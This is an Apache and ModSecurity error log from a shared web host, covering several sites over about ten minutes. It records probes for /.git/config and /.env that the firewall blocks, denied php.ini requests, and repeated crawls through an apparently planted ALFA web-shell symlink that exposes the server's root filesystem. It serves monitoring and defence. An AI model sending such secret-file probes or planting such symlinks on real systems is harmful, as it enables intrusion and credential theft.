[Tue Oct 27 06:03:34.142811 2026] [core:error] [pid 3201641:tid 3201641] (13)Permission denied: [client 34.224.9.144:31232] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/resource0
[Tue Oct 27 06:03:50.269754 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 107.20.181.148:21369] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:04:06.224142 2026] [core:error] [pid 3212771:tid 3212771] (13)Permission denied: [client 54.198.33.233:1797] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory9/node0/memory11/subsystem/drivers_probe
[Tue Oct 27 06:04:14.161476 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 52.54.249.218:23335] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:04:22.142459 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 3.219.81.66:61443] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:04:26.157205 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 3.208.156.9:13778] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:04:31.045976 2026] [security2:error] [pid 3212771:tid 3212771] [client 45.138.12.21:54010] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auB3L9oUAr6d2NuN9v3F3QAAAAQ"]
[Tue Oct 27 06:04:31.046290 2026] [security2:error] [pid 3212771:tid 3212771] [client 45.138.12.21:54010] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auB3L9oUAr6d2NuN9v3F3QAAAAQ"]
[Tue Oct 27 06:04:31.046620 2026] [security2:error] [pid 3212771:tid 3212771] [client 45.138.12.21:54010] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auB3L9oUAr6d2NuN9v3F3QAAAAQ"]
[Tue Oct 27 06:04:31.077841 2026] [security2:error] [pid 3201647:tid 3201647] [client 45.138.12.21:54022] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auB3L5VvqGtwGAy54pYPKQAAAA0"]
[Tue Oct 27 06:04:31.078025 2026] [security2:error] [pid 3201647:tid 3201647] [client 45.138.12.21:54022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auB3L5VvqGtwGAy54pYPKQAAAA0"]
[Tue Oct 27 06:04:31.078278 2026] [security2:error] [pid 3201647:tid 3201647] [client 45.138.12.21:54022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auB3L5VvqGtwGAy54pYPKQAAAA0"]
[Tue Oct 27 06:04:32.640813 2026] [security2:error] [pid 3209604:tid 3209604] [client 45.138.12.21:54046] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auB3MK0A58tRzIL-Q2BmiAAAAAM"]
[Tue Oct 27 06:04:32.641041 2026] [security2:error] [pid 3209604:tid 3209604] [client 45.138.12.21:54046] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auB3MK0A58tRzIL-Q2BmiAAAAAM"]
[Tue Oct 27 06:04:32.641355 2026] [security2:error] [pid 3209604:tid 3209604] [client 45.138.12.21:54046] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auB3MK0A58tRzIL-Q2BmiAAAAAM"]
[Tue Oct 27 06:04:32.647047 2026] [security2:error] [pid 3209611:tid 3209611] [client 45.138.12.21:54036] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auB3MJekxYBRCO5jo1OHAwAAABA"]
[Tue Oct 27 06:04:32.647249 2026] [security2:error] [pid 3209611:tid 3209611] [client 45.138.12.21:54036] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auB3MJekxYBRCO5jo1OHAwAAABA"]
[Tue Oct 27 06:04:32.647513 2026] [security2:error] [pid 3209611:tid 3209611] [client 45.138.12.21:54036] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auB3MJekxYBRCO5jo1OHAwAAABA"]
[Tue Oct 27 06:04:34.147928 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 18.232.12.157:25236] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:04:38.130555 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 34.202.88.37:61574] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:04:42.155762 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 100.28.44.58:56202] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:04:46.250967 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 3.209.174.110:11707] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:04:48.602744 2026] [core:error] [pid 3212771:tid 3212771] (13)Permission denied: [client 85.208.96.206:15812] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_fclone_cache/hwcache_align
[Tue Oct 27 06:04:50.277425 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 3.232.102.111:39608] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:04:50.277621 2026] [security2:error] [pid 3201647:tid 3201647] [client 3.232.102.111:39608] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/virtio0/net/eth0/power/runtime_suspended_time"] [unique_id "auB3QpVvqGtwGAy54pYPKgAAAA0"]
[Tue Oct 27 06:04:50.277802 2026] [security2:error] [pid 3201647:tid 3201647] [client 3.232.102.111:39608] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/virtio0/net/eth0/power/runtime_suspended_time"] [unique_id "auB3QpVvqGtwGAy54pYPKgAAAA0"]
[Tue Oct 27 06:04:58.154254 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 34.225.24.180:21320] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:05:10.179804 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 34.239.85.139:21519] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:05:18.168121 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 18.233.24.238:60917] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:05:21.871529 2026] [security2:error] [pid 3209611:tid 3209611] [client 43.153.73.200:42386] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escuelas1.com/"] [unique_id "auB3YZekxYBRCO5jo1OHBQAAABA"]
[Tue Oct 27 06:05:21.872940 2026] [authz_core:error] [pid 3209611:tid 3209611] [client 43.153.73.200:42386] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Tue Oct 27 06:05:30.138470 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 184.73.47.24:40656] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:05:34.163407 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 100.28.204.82:22199] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:05:50.182237 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 52.70.123.241:5497] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:05:54.152436 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 34.227.156.153:14222] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:06:02.194983 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 3.219.81.66:17874] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:06:02.644000 2026] [authz_core:error] [pid 3201656:tid 3201656] [client 66.132.159.23:33464] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Tue Oct 27 06:06:20.769754 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 85.208.96.211:23746] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:06:22.208681 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 3.215.59.93:58194] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:06:30.239720 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 54.147.182.90:25248] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:06:38.145026 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 44.221.180.179:33089] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/memory19/node0/memory16/subsystem/drivers_probe
[Tue Oct 27 06:07:06.143042 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 44.212.232.231:15295] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS3/custom_divisor
[Tue Oct 27 06:07:10.161152 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 54.210.152.179:59758] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:07:12.328802 2026] [authz_core:error] [pid 3209611:tid 3209611] [client 65.49.20.69:17822] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 06:07:17.051697 2026] [authz_core:error] [pid 3201647:tid 3201647] [client 66.132.159.23:32052] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Tue Oct 27 06:07:22.341052 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 34.233.114.237:60956] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:07:26.179421 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 3.209.174.110:57065] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:07:41.577934 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 85.208.96.208:29004] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:07:42.151767 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 3.94.199.128:45077] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:07:43.066975 2026] [core:error] [pid 3209603:tid 3209603] (13)Permission denied: [client 85.208.96.194:52792] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/ctor
[Tue Oct 27 06:07:46.292179 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 52.3.104.214:12894] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:08:38.145433 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 34.231.181.240:14509] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:08:42.139042 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 52.200.58.199:12236] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:08:46.179489 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 23.22.105.143:28013] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:08:50.394317 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 3.212.86.97:46134] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:08:58.398941 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 44.205.74.196:16703] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:09:02.182777 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 52.203.68.145:45859] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:09:10.198947 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 98.84.131.195:37508] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:09:14.198173 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.4.213.199:61954] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:09:18.294103 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 18.210.58.238:18592] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:09:22.328316 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 54.87.62.248:9296] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:09:26.459954 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 3.212.86.97:21227] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/cpu0/driver/cpu1/firmware_node/eject
[Tue Oct 27 06:09:34.525159 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 34.196.114.170:36334] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:09:38.398725 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.204.37.237:16963] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:09:54.298639 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 54.235.172.96:43595] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:09:58.316735 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 3.216.86.144:60241] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:10:01.682249 2026] [security2:error] [pid 3209603:tid 3209603] [client 130.12.180.164:45382] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "auB4eT4THoroSjopRdX_MQAAAAE"]
[Tue Oct 27 06:10:01.682612 2026] [security2:error] [pid 3209603:tid 3209603] [client 130.12.180.164:45382] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "auB4eT4THoroSjopRdX_MQAAAAE"]
[Tue Oct 27 06:10:01.683978 2026] [security2:error] [pid 3209603:tid 3209603] [client 130.12.180.164:45382] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "auB4eT4THoroSjopRdX_MQAAAAE"]
[Tue Oct 27 06:10:07.210486 2026] [core:error] [pid 3201641:tid 3201641] (13)Permission denied: [client 54.197.178.107:63788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory6/node0/subsystem/uevent
[Tue Oct 27 06:10:14.678644 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 52.71.46.142:7034] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/driver/0000:00:04.0/resource4_wc
[Tue Oct 27 06:10:18.339690 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 35.171.117.160:3033] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:10:37.235478 2026] [authz_core:error] [pid 3201656:tid 3201656] [client 104.199.32.119:59220] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 06:10:37.544679 2026] [authz_core:error] [pid 3209601:tid 3209601] [client 34.14.49.196:44032] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 06:10:38.698401 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 18.206.47.187:51543] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:10:50.420373 2026] [security2:error] [pid 3209616:tid 3209616] [client 54.84.102.81:50343] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:00/subsystem/devices/device:0d/"] [unique_id "auB4qhpfUBgvi1kircRT8wAAABg"]
[Tue Oct 27 06:10:50.420423 2026] [security2:error] [pid 3209616:tid 3209616] [client 54.84.102.81:50343] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:00/subsystem/devices/device:0d/"] [unique_id "auB4qhpfUBgvi1kircRT8wAAABg"]
[Tue Oct 27 06:11:02.572655 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 18.215.77.19:6469] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:11:18.541835 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 18.232.11.247:6063] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:11:38.546394 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 100.27.153.9:31116] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:11:42.505421 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 52.6.97.88:47281] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/resource1
[Tue Oct 27 06:11:51.263754 2026] [core:error] [pid 3209604:tid 3209604] (13)Permission denied: [client 185.191.171.19:31628] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/total_objects
[Tue Oct 27 06:11:52.644177 2026] [authz_core:error] [pid 3209603:tid 3209603] [client 195.178.110.102:56018] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 06:11:52.653723 2026] [authz_core:error] [pid 3209616:tid 3209616] [client 195.178.110.102:56026] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 06:11:55.708077 2026] [authz_core:error] [pid 3209601:tid 3209601] [client 195.178.110.102:56102] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 06:11:55.812282 2026] [authz_core:error] [pid 3201656:tid 3201656] [client 195.178.110.102:56108] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 06:12:03.759436 2026] [authz_core:error] [pid 3209611:tid 3209611] [client 195.178.110.102:22386] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 06:12:03.846160 2026] [authz_core:error] [pid 3209604:tid 3209604] [client 195.178.110.102:22400] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 06:12:04.990968 2026] [authz_core:error] [pid 3209611:tid 3209611] [client 195.178.110.102:22386] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 06:12:05.299705 2026] [authz_core:error] [pid 3209604:tid 3209604] [client 195.178.110.102:22400] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 06:12:06.563414 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 44.223.232.55:5209] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:12:10.613895 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 98.84.200.43:10014] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:12:14.586670 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 54.225.181.161:11874] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:12:18.645812 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 52.200.58.199:13868] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:12:26.589669 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 54.85.7.119:44516] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:12:34.777901 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 35.174.253.85:25799] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:12:46.806995 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 3.226.106.93:49258] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:12:50.664047 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 52.73.6.26:1337] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:12:54.668744 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 98.80.130.239:34090] AH02013: coalesce failed to read from data bucket
